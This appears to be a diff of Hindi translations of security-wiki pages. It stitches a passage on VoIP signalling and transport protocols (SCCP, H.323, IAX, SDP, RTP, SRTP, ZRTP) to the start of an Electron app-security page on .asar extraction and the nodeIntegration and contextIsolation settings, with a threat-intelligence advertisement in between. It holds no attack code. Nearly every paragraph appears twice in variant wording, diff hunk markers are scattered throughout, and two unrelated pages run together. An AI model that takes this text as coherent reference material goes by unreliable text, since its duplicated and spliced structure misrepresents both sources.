3. **Gateways**: ये उपकरण, जैसे वॉयस गेटवे या मीडिया गेटवे, विभिन्न नेटवर्कों के बीच मीडिया स्ट्रीम को परिवर्तित करने के लिए जिम्मेदार होते हैं, जैसे पारंपरिक सर्किट-स्विच टेलीफोनी और पैकेट-स्विच IP नेटवर्क। इनमें ट्रांसकोडिंग या इको रद्द करने जैसी अतिरिक्त कार्यक्षमताएँ भी शामिल हो सकती हैं।
|
||||
|
||||
SCCP Cisco कॉल नियंत्रण सर्वरों और एंडपॉइंट उपकरणों के बीच संचार का एक सरल और प्रभावी तरीका प्रदान करता है। हालाँकि, यह ध्यान देने योग्य है कि **SCCP एक स्वामित्व प्रोटोकॉल** है, जो गैर-Cisco सिस्टम के साथ इंटरऑपरेबिलिटी को सीमित कर सकता है। ऐसे मामलों में, अन्य मानक VoIP प्रोटोकॉल जैसे SIP अधिक उपयुक्त हो सकते हैं।
|
||||
SCCP Cisco कॉल नियंत्रण सर्वरों और एंडपॉइंट उपकरणों के बीच संचार का एक सरल और प्रभावी तरीका प्रदान करता है। हालाँकि, यह ध्यान देने योग्य है कि **SCCP एक स्वामित्व प्रोटोकॉल है**, जो गैर-Cisco सिस्टम के साथ इंटरऑपरेबिलिटी को सीमित कर सकता है। ऐसे मामलों में, अन्य मानक VoIP प्रोटोकॉल जैसे SIP अधिक उपयुक्त हो सकते हैं।
|
||||
|
||||
### H.323
|
||||
|
||||
H.323 एक **प्रोटोकॉल का समूह** है जो मल्टीमीडिया संचार के लिए है, जिसमें वॉयस, वीडियो, और डेटा कॉन्फ्रेंसिंग शामिल है, जो पैकेट-स्विच नेटवर्कों, जैसे IP-आधारित नेटवर्कों पर होता है। इसे **अंतर्राष्ट्रीय दूरसंचार संघ** (ITU-T) द्वारा विकसित किया गया था और यह मल्टीमीडिया संचार सत्रों के प्रबंधन के लिए एक व्यापक ढांचा प्रदान करता है।
|
||||
H.323 एक **प्रोटोकॉल का समूह** है जो मल्टीमीडिया संचार के लिए है, जिसमें वॉयस, वीडियो, और डेटा कॉन्फ्रेंसिंग शामिल है, जो पैकेट-स्विच नेटवर्कों, जैसे IP-आधारित नेटवर्कों पर होता है। इसे **International Telecommunication Union** (ITU-T) द्वारा विकसित किया गया था और यह मल्टीमीडिया संचार सत्रों के प्रबंधन के लिए एक व्यापक ढांचा प्रदान करता है।
|
||||
|
||||
H.323 समूह के कुछ प्रमुख घटक हैं:
|
||||
|
||||
1. **टर्मिनल**: ये एंडपॉइंट उपकरण हैं, जैसे IP फोन, वीडियो कॉन्फ्रेंसिंग सिस्टम, या सॉफ़्टवेयर एप्लिकेशन, जो H.323 का समर्थन करते हैं और मल्टीमीडिया संचार सत्रों में भाग ले सकते हैं।
|
||||
2. **गेटवे**: ये उपकरण विभिन्न नेटवर्कों के बीच मीडिया स्ट्रीम को परिवर्तित करते हैं, जैसे पारंपरिक सर्किट-स्विच टेलीफोनी और पैकेट-स्विच IP नेटवर्क, H.323 और अन्य संचार प्रणालियों के बीच इंटरऑपरेबिलिटी सक्षम करते हैं। इनमें ट्रांसकोडिंग या इको रद्द करने जैसी अतिरिक्त कार्यक्षमताएँ भी शामिल हो सकती हैं।
|
||||
3. **गेटकीपर**: ये वैकल्पिक घटक हैं जो H.323 नेटवर्क में कॉल नियंत्रण और प्रबंधन सेवाएँ प्रदान करते हैं। ये पते के अनुवाद, बैंडविड्थ प्रबंधन, और प्रवेश नियंत्रण जैसी कार्यें करते हैं, जो नेटवर्क संसाधनों का प्रबंधन और अनुकूलन करने में मदद करते हैं।
|
||||
4. **मल्टीपॉइंट कंट्रोल यूनिट्स (MCUs)**: ये उपकरण मल्टीपॉइंट कॉन्फ्रेंसिंग को सुविधाजनक बनाते हैं, जो कई एंडपॉइंट्स से मीडिया स्ट्रीम को प्रबंधित और मिश्रित करते हैं। MCUs वीडियो लेआउट नियंत्रण, वॉयस-एक्टिवेटेड स्विचिंग, और निरंतर उपस्थिति जैसी सुविधाएँ सक्षम करते हैं, जिससे कई प्रतिभागियों के साथ बड़े पैमाने पर कॉन्फ्रेंस आयोजित करना संभव होता है।
|
||||
1. **Terminals**: ये एंडपॉइंट उपकरण हैं, जैसे IP फोन, वीडियो कॉन्फ्रेंसिंग सिस्टम, या सॉफ़्टवेयर एप्लिकेशन, जो H.323 का समर्थन करते हैं और मल्टीमीडिया संचार सत्रों में भाग ले सकते हैं।
|
||||
2. **Gateways**: ये उपकरण विभिन्न नेटवर्कों के बीच मीडिया स्ट्रीम को परिवर्तित करते हैं, जैसे पारंपरिक सर्किट-स्विच टेलीफोनी और पैकेट-स्विच IP नेटवर्क, H.323 और अन्य संचार प्रणालियों के बीच इंटरऑपरेबिलिटी सक्षम करते हैं। इनमें ट्रांसकोडिंग या इको रद्द करने जैसी अतिरिक्त कार्यक्षमताएँ भी शामिल हो सकती हैं।
|
||||
3. **Gatekeepers**: ये वैकल्पिक घटक हैं जो H.323 नेटवर्क में कॉल नियंत्रण और प्रबंधन सेवाएँ प्रदान करते हैं। ये पते के अनुवाद, बैंडविड्थ प्रबंधन, और प्रवेश नियंत्रण जैसी कार्यें करते हैं, नेटवर्क संसाधनों का प्रबंधन और अनुकूलन करने में मदद करते हैं।
|
||||
4. **Multipoint Control Units (MCUs)**: ये उपकरण मल्टीपॉइंट कॉन्फ्रेंसिंग को सुविधाजनक बनाते हैं, कई एंडपॉइंट्स से मीडिया स्ट्रीम को प्रबंधित और मिश्रित करते हैं। MCUs वीडियो लेआउट नियंत्रण, वॉयस-एक्टिवेटेड स्विचिंग, और निरंतर उपस्थिति जैसी सुविधाएँ सक्षम करते हैं, जिससे कई प्रतिभागियों के साथ बड़े पैमाने पर कॉन्फ्रेंस आयोजित करना संभव होता है।
|
||||
|
||||
H.323 विभिन्न ऑडियो और वीडियो कोडेक्स का समर्थन करता है, साथ ही कॉल फॉरवर्डिंग, कॉल ट्रांसफर, कॉल होल्ड, और कॉल वेटिंग जैसी अन्य सहायक सेवाएँ भी। VoIP के प्रारंभिक दिनों में इसके व्यापक अपनाने के बावजूद, H.323 को धीरे-धीरे अधिक आधुनिक और लचीले प्रोटोकॉल जैसे **सत्र आरंभ प्रोटोकॉल (SIP)** द्वारा प्रतिस्थापित किया गया है, जो बेहतर इंटरऑपरेबिलिटी और आसान कार्यान्वयन प्रदान करता है। हालाँकि, H.323 कई विरासती प्रणालियों में उपयोग में है और विभिन्न उपकरण विक्रेताओं द्वारा इसका समर्थन जारी है।
|
||||
H.323 विभिन्न ऑडियो और वीडियो कोडेक्स का समर्थन करता है, साथ ही कॉल फॉरवर्डिंग, कॉल ट्रांसफर, कॉल होल्ड, और कॉल वेटिंग जैसी अन्य पूरक सेवाएँ भी। VoIP के प्रारंभिक दिनों में इसके व्यापक अपनाने के बावजूद, H.323 को धीरे-धीरे अधिक आधुनिक और लचीले प्रोटोकॉल जैसे **Session Initiation Protocol (SIP)** द्वारा प्रतिस्थापित किया गया है, जो बेहतर इंटरऑपरेबिलिटी और आसान कार्यान्वयन प्रदान करता है। हालाँकि, H.323 कई विरासती प्रणालियों में उपयोग में है और विभिन्न उपकरण विक्रेताओं द्वारा इसका समर्थन जारी है।
|
||||
|
||||
### IAX (Inter Asterisk eXchange)
|
||||
|
||||
IAX (Inter-Asterisk eXchange) एक **सिग्नलिंग और कॉल नियंत्रण प्रोटोकॉल** है जो मुख्य रूप से Asterisk PBX (Private Branch Exchange) सर्वरों और अन्य VoIP उपकरणों के बीच संचार के लिए उपयोग किया जाता है। इसे Mark Spencer द्वारा विकसित किया गया था, जो Asterisk ओपन-सोर्स PBX सॉफ़्टवेयर के निर्माता हैं, अन्य VoIP प्रोटोकॉल जैसे SIP और H.323 के विकल्प के रूप में।
|
||||
IAX (Inter-Asterisk eXchange) एक **signaling और call control protocol** है जो मुख्य रूप से Asterisk PBX (Private Branch Exchange) सर्वरों और अन्य VoIP उपकरणों के बीच संचार के लिए उपयोग किया जाता है। इसे Asterisk ओपन-सोर्स PBX सॉफ़्टवेयर के निर्माता मार्क स्पेंसर द्वारा SIP और H.323 जैसे अन्य VoIP प्रोटोकॉल के विकल्प के रूप में विकसित किया गया था।
|
||||
|
||||
IAX अपनी **सरलता, दक्षता, और कार्यान्वयन में आसानी** के लिए जाना जाता है। IAX की कुछ प्रमुख विशेषताएँ हैं:
|
||||
|
||||
1. **एकल UDP पोर्ट**: IAX सिग्नलिंग और मीडिया ट्रैफ़िक के लिए एकल UDP पोर्ट (4569) का उपयोग करता है, जो फ़ायरवॉल और NAT पार करने को सरल बनाता है, जिससे इसे विभिन्न नेटवर्क वातावरण में तैनात करना आसान होता है।
|
||||
2. **बाइनरी प्रोटोकॉल**: टेक्स्ट-आधारित प्रोटोकॉल जैसे SIP के विपरीत, IAX एक बाइनरी प्रोटोकॉल है, जो इसके बैंडविड्थ खपत को कम करता है और सिग्नलिंग और मीडिया डेटा को संप्रेषित करने के लिए इसे अधिक प्रभावी बनाता है।
|
||||
1. **एकल UDP पोर्ट**: IAX एकल UDP पोर्ट (4569) का उपयोग करता है जो signaling और मीडिया ट्रैफ़िक दोनों के लिए होता है, जिससे फ़ायरवॉल और NAT पार करना सरल हो जाता है, और इसे विभिन्न नेटवर्क वातावरणों में तैनात करना आसान हो जाता है।
|
||||
2. **बाइनरी प्रोटोकॉल**: टेक्स्ट-आधारित प्रोटोकॉल जैसे SIP के विपरीत, IAX एक बाइनरी प्रोटोकॉल है, जो इसकी बैंडविड्थ खपत को कम करता है और signaling और मीडिया डेटा को संप्रेषित करने के लिए इसे अधिक प्रभावी बनाता है।
|
||||
3. **ट्रंकिंग**: IAX ट्रंकिंग का समर्थन करता है, जो कई कॉलों को एकल नेटवर्क कनेक्शन में संयोजित करने की अनुमति देता है, ओवरहेड को कम करता है और बैंडविड्थ उपयोग में सुधार करता है।
|
||||
4. **स्वदेशी एन्क्रिप्शन**: IAX में एन्क्रिप्शन के लिए अंतर्निहित समर्थन है, जैसे RSA कुंजी विनिमय और AES मीडिया एन्क्रिप्शन के लिए, जो एंडपॉइंट्स के बीच सुरक्षित संचार प्रदान करता है।
|
||||
5. **पीयर-टू-पीयर संचार**: IAX को केंद्रीय सर्वर की आवश्यकता के बिना एंडपॉइंट्स के बीच सीधे संचार के लिए उपयोग किया जा सकता है, जिससे कॉल रूटिंग सरल और अधिक प्रभावी होती है।
|
||||
5. **पीयर-टू-पीयर संचार**: IAX को केंद्रीय सर्वर की आवश्यकता के बिना एंडपॉइंट्स के बीच सीधे संचार के लिए उपयोग किया जा सकता है, जिससे कॉल रूटिंग सरल और अधिक प्रभावी हो जाती है।
|
||||
|
||||
इसके लाभों के बावजूद, IAX में कुछ सीमाएँ हैं, जैसे इसका मुख्य ध्यान Asterisk पारिस्थितिकी तंत्र पर और SIP जैसे अधिक स्थापित प्रोटोकॉल की तुलना में कम व्यापक अपनाना। परिणामस्वरूप, IAX गैर-Asterisk सिस्टम या उपकरणों के साथ इंटरऑपरेबिलिटी के लिए सबसे अच्छा विकल्प नहीं हो सकता है। हालाँकि, जो लोग Asterisk वातावरण में काम कर रहे हैं, उनके लिए IAX VoIP संचार के लिए एक मजबूत और प्रभावी समाधान प्रदान करता है।
|
||||
इसके लाभों के बावजूद, IAX की कुछ सीमाएँ हैं, जैसे इसका मुख्य ध्यान Asterisk पारिस्थितिकी तंत्र पर और SIP जैसे अधिक स्थापित प्रोटोकॉल की तुलना में कम व्यापक अपनाना। परिणामस्वरूप, IAX गैर-Asterisk सिस्टम या उपकरणों के साथ इंटरऑपरेबिलिटी के लिए सबसे अच्छा विकल्प नहीं हो सकता है। हालाँकि, जो लोग Asterisk वातावरण में काम कर रहे हैं, उनके लिए IAX VoIP संचार के लिए एक मजबूत और प्रभावी समाधान प्रदान करता है।
|
||||
|
||||
## Transmission & Transport Protocols
|
||||
|
||||
### SDP (Session Description Protocol)
|
||||
|
||||
SDP (Session Description Protocol) एक **टेक्स्ट-आधारित प्रारूप** है जिसका उपयोग IP नेटवर्कों पर वॉयस, वीडियो, या डेटा कॉन्फ्रेंसिंग जैसे मल्टीमीडिया सत्रों की विशेषताओं का वर्णन करने के लिए किया जाता है। इसे **इंटरनेट इंजीनियरिंग टास्क फोर्स (IETF)** द्वारा विकसित किया गया था और इसे **RFC 4566** में परिभाषित किया गया है। SDP वास्तविक मीडिया ट्रांसमिशन या सत्र स्थापना को संभालता नहीं है, बल्कि इसे अन्य सिग्नलिंग प्रोटोकॉल, जैसे **SIP (Session Initiation Protocol)** के साथ मिलकर मीडिया स्ट्रीम और उनकी विशेषताओं के बारे में जानकारी को बातचीत और विनिमय करने के लिए उपयोग किया जाता है।
|
||||
SDP (Session Description Protocol) एक **टेक्स्ट-आधारित प्रारूप** है जिसका उपयोग मल्टीमीडिया सत्रों की विशेषताओं का वर्णन करने के लिए किया जाता है, जैसे वॉयस, वीडियो, या डेटा कॉन्फ्रेंसिंग, IP नेटवर्कों पर। इसे **Internet Engineering Task Force (IETF)** द्वारा विकसित किया गया था और इसे **RFC 4566** में परिभाषित किया गया है। SDP वास्तविक मीडिया ट्रांसमिशन या सत्र स्थापना को संभालता नहीं है, लेकिन इसे अन्य signaling प्रोटोकॉल, जैसे **SIP (Session Initiation Protocol)** के साथ मिलकर मीडिया स्ट्रीम और उनके गुणों के बारे में जानकारी को बातचीत और विनिमय करने के लिए उपयोग किया जाता है।
|
||||
|
||||
SDP के कुछ प्रमुख तत्व हैं:
|
||||
|
||||
1. **सत्र जानकारी**: SDP एक मल्टीमीडिया सत्र के विवरण का वर्णन करता है, जिसमें सत्र का नाम, सत्र का विवरण, प्रारंभ समय, और समाप्ति समय शामिल है।
|
||||
2. **मीडिया स्ट्रीम**: SDP मीडिया स्ट्रीम की विशेषताओं को परिभाषित करता है, जैसे मीडिया प्रकार (ऑडियो, वीडियो, या टेक्स्ट), परिवहन प्रोटोकॉल (जैसे RTP या SRTP), और मीडिया प्रारूप (जैसे कोडेक जानकारी)।
|
||||
3. **कनेक्शन जानकारी**: SDP नेटवर्क पते (IP पता) और पोर्ट नंबर के बारे में जानकारी प्रदान करता है जहाँ मीडिया भेजा या प्राप्त किया जाना चाहिए।
|
||||
4. **विशेषताएँ**: SDP विशेषताओं के उपयोग का समर्थन करता है ताकि सत्र या मीडिया स्ट्रीम के बारे में अतिरिक्त, वैकल्पिक जानकारी प्रदान की जा सके। विशेषताएँ एन्क्रिप्शन कुंजी, बैंडविड्थ आवश्यकताओं, या मीडिया नियंत्रण तंत्र जैसी विभिन्न सुविधाओं को निर्दिष्ट करने के लिए उपयोग की जा सकती हैं।
|
||||
4. **गुण**: SDP सत्र या मीडिया स्ट्रीम के बारे में अतिरिक्त, वैकल्पिक जानकारी प्रदान करने के लिए गुणों के उपयोग का समर्थन करता है। गुणों का उपयोग एन्क्रिप्शन कुंजी, बैंडविड्थ आवश्यकताओं, या मीडिया नियंत्रण तंत्र जैसी विभिन्न सुविधाओं को निर्दिष्ट करने के लिए किया जा सकता है।
|
||||
|
||||
SDP आमतौर पर निम्नलिखित प्रक्रिया में उपयोग किया जाता है:
|
||||
|
||||
1. एक आरंभिक पार्टी प्रस्तावित मल्टीमीडिया सत्र का SDP विवरण बनाती है, जिसमें मीडिया स्ट्रीम और उनकी विशेषताओं का विवरण होता है।
|
||||
2. SDP विवरण प्राप्त करने वाली पार्टी को भेजा जाता है, जो आमतौर पर सिग्नलिंग प्रोटोकॉल संदेश जैसे SIP या RTSP के भीतर एम्बेडेड होता है।
|
||||
1. एक आरंभिक पार्टी प्रस्तावित मल्टीमीडिया सत्र का SDP विवरण बनाती है, जिसमें मीडिया स्ट्रीम और उनके गुणों का विवरण होता है।
|
||||
2. SDP विवरण प्राप्त करने वाली पार्टी को भेजा जाता है, आमतौर पर signaling प्रोटोकॉल संदेश जैसे SIP या RTSP के भीतर एम्बेडेड होता है।
|
||||
3. प्राप्त करने वाली पार्टी SDP विवरण को संसाधित करती है, और अपनी क्षमताओं के आधार पर, यह प्रस्तावित सत्र को स्वीकार, अस्वीकार, या संशोधित कर सकती है।
|
||||
4. अंतिम SDP विवरण आरंभिक पार्टी को सिग्नलिंग प्रोटोकॉल संदेश के भाग के रूप में वापस भेजा जाता है, जिससे बातचीत की प्रक्रिया पूरी होती है।
|
||||
4. अंतिम SDP विवरण आरंभिक पार्टी को signaling प्रोटोकॉल संदेश के भाग के रूप में वापस भेजा जाता है, बातचीत प्रक्रिया को पूरा करता है।
|
||||
|
||||
SDP की सरलता और लचीलापन इसे विभिन्न संचार प्रणालियों में मल्टीमीडिया सत्रों का वर्णन करने के लिए एक व्यापक रूप से अपनाया गया मानक बनाता है, जो IP नेटवर्कों पर वास्तविक समय के मल्टीमीडिया सत्रों की स्थापना और प्रबंधन में महत्वपूर्ण भूमिका निभाता है।
|
||||
|
||||
### RTP / RTCP / SRTP / ZRTP
|
||||
|
||||
1. **RTP (Real-time Transport Protocol)**: RTP एक नेटवर्क प्रोटोकॉल है जिसे IP नेटवर्कों पर ऑडियो और वीडियो डेटा, या अन्य वास्तविक समय के मीडिया के वितरण के लिए डिज़ाइन किया गया है। इसे **IETF** द्वारा विकसित किया गया था और इसे **RFC 3550** में परिभाषित किया गया है, RTP आमतौर पर SIP और H.323 जैसे सिग्नलिंग प्रोटोकॉल के साथ उपयोग किया जाता है ताकि मल्टीमीडिया संचार सक्षम हो सके। RTP **समन्वय**, **क्रमबद्धता**, और **टाइमस्टैम्पिंग** के लिए तंत्र प्रदान करता है, जो मीडिया प्लेबैक को सुचारू और समय पर सुनिश्चित करने में मदद करता है।
|
||||
2. **RTCP (Real-time Transport Control Protocol)**: RTCP RTP का एक साथी प्रोटोकॉल है, जिसका उपयोग सेवा की गुणवत्ता (QoS) की निगरानी के लिए और मीडिया स्ट्रीम के संचरण पर फीडबैक प्रदान करने के लिए किया जाता है। RTP के समान **RFC 3550** में परिभाषित, RTCP **RTP सत्र में प्रतिभागियों के बीच नियंत्रण पैकेटों का समय-समय पर आदान-प्रदान करता है**। यह पैकेट हानि, जिटर, और राउंड-ट्रिप समय जैसी जानकारी साझा करता है, जो नेटवर्क की स्थितियों का निदान और अनुकूलन करने में मदद करता है, जिससे समग्र मीडिया गुणवत्ता में सुधार होता है।
|
||||
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP RTP का एक विस्तार है जो मीडिया स्ट्रीम के लिए **एन्क्रिप्शन**, **संदेश प्रमाणीकरण**, और **पुनरावृत्ति सुरक्षा** प्रदान करता है, संवेदनशील ऑडियो और वीडियो डेटा के सुरक्षित संचरण को सुनिश्चित करता है। इसे **RFC 3711** में परिभाषित किया गया है, SRTP एन्क्रिप्शन के लिए AES जैसे क्रिप्टोग्राफिक एल्गोरिदम और संदेश प्रमाणीकरण के लिए HMAC-SHA1 का उपयोग करता है। SRTP अक्सर सुरक्षित सिग्नलिंग प्रोटोकॉल जैसे SIP over TLS के साथ उपयोग किया जाता है ताकि मल्टीमीडिया संचार में एंड-टू-एंड सुरक्षा प्रदान की जा सके।
|
||||
4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP एक क्रिप्टोग्राफिक कुंजी-समझौता प्रोटोकॉल है जो RTP मीडिया स्ट्रीम के लिए **एंड-टू-एंड एन्क्रिप्शन** प्रदान करता है। इसे PGP के निर्माता फिल ज़िमरमैन द्वारा विकसित किया गया था, ZRTP को **RFC 6189** में वर्णित किया गया है। SRTP के विपरीत, जो कुंजी विनिमय के लिए सिग्नलिंग प्रोटोकॉल पर निर्भर करता है, ZRTP को सिग्नलिंग प्रोटोकॉल से स्वतंत्र रूप से काम करने के लिए डिज़ाइन किया गया है। यह संवाद करने वाली पार्टियों के बीच साझा रहस्य स्थापित करने के लिए **डिफी-हेलमैन कुंजी विनिमय** का उपयोग करता है, बिना पूर्व विश्वास या सार्वजनिक कुंजी अवसंरचना (PKI) की आवश्यकता के। ZRTP में **शॉर्ट ऑथेंटिकेशन स्ट्रिंग्स (SAS)** जैसी सुविधाएँ भी शामिल हैं जो मैन-इन-द-मिडल हमलों से सुरक्षा प्रदान करती हैं।
|
||||
1. **RTP (Real-time Transport Protocol)**: RTP एक नेटवर्क प्रोटोकॉल है जो IP नेटवर्कों पर ऑडियो और वीडियो डेटा, या अन्य वास्तविक समय के मीडिया के वितरण के लिए डिज़ाइन किया गया है। इसे **IETF** द्वारा विकसित किया गया था और इसे **RFC 3550** में परिभाषित किया गया है, RTP आमतौर पर SIP और H.323 जैसे signaling प्रोटोकॉल के साथ उपयोग किया जाता है ताकि मल्टीमीडिया संचार सक्षम हो सके। RTP **सिंक्रनाइज़ेशन**, **क्रमबद्धता**, और **टाइमस्टैम्पिंग** के लिए तंत्र प्रदान करता है, जो मीडिया प्लेबैक को सुचारू और समय पर सुनिश्चित करने में मदद करता है।
|
||||
2. **RTCP (Real-time Transport Control Protocol)**: RTCP RTP का एक साथी प्रोटोकॉल है, जिसका उपयोग सेवा की गुणवत्ता (QoS) की निगरानी के लिए और मीडिया स्ट्रीम के संचरण पर फीडबैक प्रदान करने के लिए किया जाता है। RTP के समान **RFC 3550** में परिभाषित, RTCP **RTP सत्र में प्रतिभागियों के बीच नियंत्रण पैकेटों का समय-समय पर आदान-प्रदान करता है**। यह पैकेट हानि, जिटर, और राउंड-ट्रिप समय जैसी जानकारी साझा करता है, जो नेटवर्क की स्थितियों का निदान और अनुकूलन करने में मदद करता है, समग्र मीडिया गुणवत्ता में सुधार करता है।
|
||||
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP RTP का एक विस्तार है जो मीडिया स्ट्रीम के लिए **एन्क्रिप्शन**, **संदेश प्रमाणीकरण**, और **पुनरावृत्ति सुरक्षा** प्रदान करता है, संवेदनशील ऑडियो और वीडियो डेटा के सुरक्षित संचरण को सुनिश्चित करता है। इसे **RFC 3711** में परिभाषित किया गया है, SRTP एन्क्रिप्शन के लिए AES जैसे क्रिप्टोग्राफिक एल्गोरिदम और संदेश प्रमाणीकरण के लिए HMAC-SHA1 का उपयोग करता है। SRTP अक्सर सुरक्षित signaling प्रोटोकॉल जैसे TLS पर SIP के साथ मिलकर उपयोग किया जाता है ताकि मल्टीमीडिया संचार में एंड-टू-एंड सुरक्षा प्रदान की जा सके।
|
||||
4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP एक क्रिप्टोग्राफिक कुंजी-समझौता प्रोटोकॉल है जो RTP मीडिया स्ट्रीम के लिए **एंड-टू-एंड एन्क्रिप्शन** प्रदान करता है। इसे PGP के निर्माता फिल ज़िमरमैन द्वारा विकसित किया गया है, ZRTP को **RFC 6189** में वर्णित किया गया है। SRTP के विपरीत, जो कुंजी विनिमय के लिए signaling प्रोटोकॉल पर निर्भर करता है, ZRTP को signaling प्रोटोकॉल से स्वतंत्र रूप से काम करने के लिए डिज़ाइन किया गया है। यह संवाद करने वाली पार्टियों के बीच साझा रहस्य स्थापित करने के लिए **Diffie-Hellman कुंजी विनिमय** का उपयोग करता है, बिना पूर्व विश्वास या सार्वजनिक कुंजी अवसंरचना (PKI) की आवश्यकता के। ZRTP में **शॉर्ट ऑथेंटिकेशन स्ट्रिंग्स (SAS)** जैसी सुविधाएँ भी शामिल हैं जो मैन-इन-द-मिडल हमलों से सुरक्षा प्रदान करती हैं।
|
||||
|
||||
ये प्रोटोकॉल **IP नेटवर्कों पर वास्तविक समय के मल्टीमीडिया संचार को वितरित और सुरक्षित करने में महत्वपूर्ण भूमिका निभाते हैं**। जबकि RTP और RTCP वास्तविक मीडिया ट्रांसमिशन और गुणवत्ता निगरानी को संभालते हैं, SRTP और ZRTP सुनिश्चित करते हैं कि संप्रेषित मीडिया सुनने, छेड़छाड़, और पुनरावृत्ति हमलों से सुरक्षित है।
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## परिचय
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या किसी कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **समझौता** किया गया है।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Introduction
|
||||
|
||||
Electron एक स्थानीय बैकएंड (जिसमें **NodeJS**) और एक फ्रंटएंड (**Chromium**) को जोड़ता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्रों की कमी है।
|
||||
Electron एक स्थानीय बैकएंड (जिसमें **NodeJS**) और एक फ्रंटेंड (**Chromium**) को जोड़ता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्रों की कमी है।
|
||||
|
||||
आमतौर पर आप इलेक्ट्रॉन ऐप कोड को एक `.asar` एप्लिकेशन के अंदर पाएंगे, कोड प्राप्त करने के लिए आपको इसे निकालने की आवश्यकता है:
|
||||
```bash
|
||||
|
@ -47,7 +34,7 @@ Electron ऐप के स्रोत कोड में, `packet.json` के
|
|||
Electron के 2 प्रक्रिया प्रकार हैं:
|
||||
|
||||
* मुख्य प्रक्रिया (NodeJS तक पूर्ण पहुंच है)
|
||||
* रेंडरर प्रक्रिया (सुरक्षा कारणों से NodeJS तक सीमित पहुंच होनी चाहिए)
|
||||
* रेंडरर प्रक्रिया (सुरक्षा कारणों से NodeJS की सीमित पहुंच होनी चाहिए)
|
||||
|
||||
![](<../../../.gitbook/assets/image (182).png>)
|
||||
|
||||
|
@ -59,20 +46,20 @@ let win = new BrowserWindow();
|
|||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`);
|
||||
```
|
||||
Settings of the **renderer process** को **main process** में main.js फ़ाइल के अंदर **config किया** जा सकता है। कुछ कॉन्फ़िगरेशन **Electron एप्लिकेशन को RCE** या अन्य कमजोरियों से **रोकने** में मदद करेंगे यदि **settings सही तरीके से config की गई हैं**।
|
||||
Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
|
||||
|
||||
Electron एप्लिकेशन **डिवाइस तक पहुँच सकता है** Node APIs के माध्यम से हालाँकि इसे रोकने के लिए config किया जा सकता है:
|
||||
The electron application **could access the device** via Node apis although it can be configure to prevent it:
|
||||
|
||||
* **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` है। यदि `on` है, तो यह renderer process से node सुविधाओं तक पहुँचने की अनुमति देता है।
|
||||
* **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` है। यदि `off` है, तो main और renderer processes अलग नहीं होते हैं।
|
||||
* **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` है। यदि चालू है, तो यह renderer process से node सुविधाओं तक पहुँचने की अनुमति देता है।
|
||||
* **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` है। यदि बंद है, तो मुख्य और renderer प्रक्रियाएँ अलग नहीं होती हैं।
|
||||
* **`preload`** - डिफ़ॉल्ट रूप से खाली है।
|
||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से `off` है। यह NodeJS द्वारा किए जा सकने वाले कार्यों को प्रतिबंधित करेगा।
|
||||
* Workers में Node Integration
|
||||
* **`nodeIntegrationInSubframes`** - डिफ़ॉल्ट रूप से `off` है।
|
||||
* यदि **`nodeIntegration`** **सक्षम** है, तो यह Electron एप्लिकेशन के भीतर **iframes** में **लोड की गई** वेब पृष्ठों में **Node.js APIs** के उपयोग की अनुमति देगा।
|
||||
* यदि **`nodeIntegration`** **अक्षम** है, तो preloads iframe में लोड होंगे।
|
||||
